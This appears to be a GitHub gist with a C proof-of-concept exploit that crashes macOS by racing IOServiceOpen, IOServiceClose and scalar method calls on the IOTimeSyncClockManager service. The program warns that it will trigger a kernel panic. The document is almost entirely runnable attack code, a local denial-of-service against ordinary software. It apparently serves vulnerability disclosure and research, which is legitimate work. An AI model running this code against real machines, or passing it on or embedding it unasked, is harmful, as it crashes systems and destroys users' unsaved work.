Created
June 2, 2026 13:10
-
-
Save t3tra-dev/d4acd269cc09f4322692dd100fbbbbd7 to your computer and use it in GitHub Desktop.
Deterministic Kernel Panic (NULL Pointer Dereference) via Race Condition in IOTimeSyncClockManager
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <unistd.h> | |
| #include <pthread.h> | |
| #include <stdatomic.h> | |
| #include <IOKit/IOKitLib.h> | |
| #define NCALLERS 6 | |
| #define NCLOSERS 4 | |
| #define ITERS 30000 | |
| static _Atomic io_connect_t g_conn; | |
| static _Atomic int g_done; | |
| static void *caller(void *arg) | |
| { | |
| (void)arg; | |
| while (!atomic_load(&g_done)) { | |
| io_connect_t c = atomic_load(&g_conn); | |
| if (c == IO_OBJECT_NULL) continue; | |
| uint64_t out[4]; | |
| uint32_t oc; | |
| for (uint32_t sel = 5; sel <= 6; sel++) { | |
| oc = 4; | |
| memset(out, 0, sizeof(out)); | |
| IOConnectCallScalarMethod(c, sel, NULL, 0, out, &oc); | |
| } | |
| } | |
| return NULL; | |
| } | |
| static void *closer(void *arg) | |
| { | |
| (void)arg; | |
| while (!atomic_load(&g_done)) { | |
| io_connect_t c = atomic_load(&g_conn); | |
| if (c == IO_OBJECT_NULL) continue; | |
| IOServiceClose(c); | |
| } | |
| return NULL; | |
| } | |
| int main(void) | |
| { | |
| printf("IOTimeSyncClockManager Race Condition PoC\n"); | |
| printf("uid=%d iters=%d callers=%d closers=%d\n", | |
| getuid(), ITERS, NCALLERS, NCLOSERS); | |
| printf("WARNING: This will trigger a kernel panic. Save your work.\n"); | |
| printf("Starting in 3 seconds...\n"); | |
| fflush(stdout); | |
| sleep(3); | |
| mach_port_t mp; | |
| IOMasterPort(MACH_PORT_NULL, &mp); | |
| io_service_t svc = IOServiceGetMatchingService( | |
| mp, IOServiceMatching("IOTimeSyncClockManager")); | |
| if (!svc) { | |
| fprintf(stderr, "Error: IOTimeSyncClockManager service not found.\n"); | |
| return 1; | |
| } | |
| atomic_init(&g_conn, IO_OBJECT_NULL); | |
| atomic_init(&g_done, 0); | |
| pthread_t ct[NCALLERS], cl[NCLOSERS]; | |
| for (int i = 0; i < NCALLERS; i++) | |
| pthread_create(&ct[i], NULL, caller, NULL); | |
| for (int i = 0; i < NCLOSERS; i++) | |
| pthread_create(&cl[i], NULL, closer, NULL); | |
| for (int i = 0; i < ITERS; i++) { | |
| io_connect_t c = 0; | |
| if (IOServiceOpen(svc, mach_task_self(), 0, &c) == 0) { | |
| atomic_store(&g_conn, c); | |
| } | |
| } | |
| atomic_store(&g_done, 1); | |
| for (int i = 0; i < NCALLERS; i++) pthread_join(ct[i], NULL); | |
| for (int i = 0; i < NCLOSERS; i++) pthread_join(cl[i], NULL); | |
| io_connect_t c = atomic_load(&g_conn); | |
| if (c != IO_OBJECT_NULL) IOServiceClose(c); | |
| IOObjectRelease(svc); | |
| printf("No panic triggered in this run. Re-run or increase ITERS.\n"); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment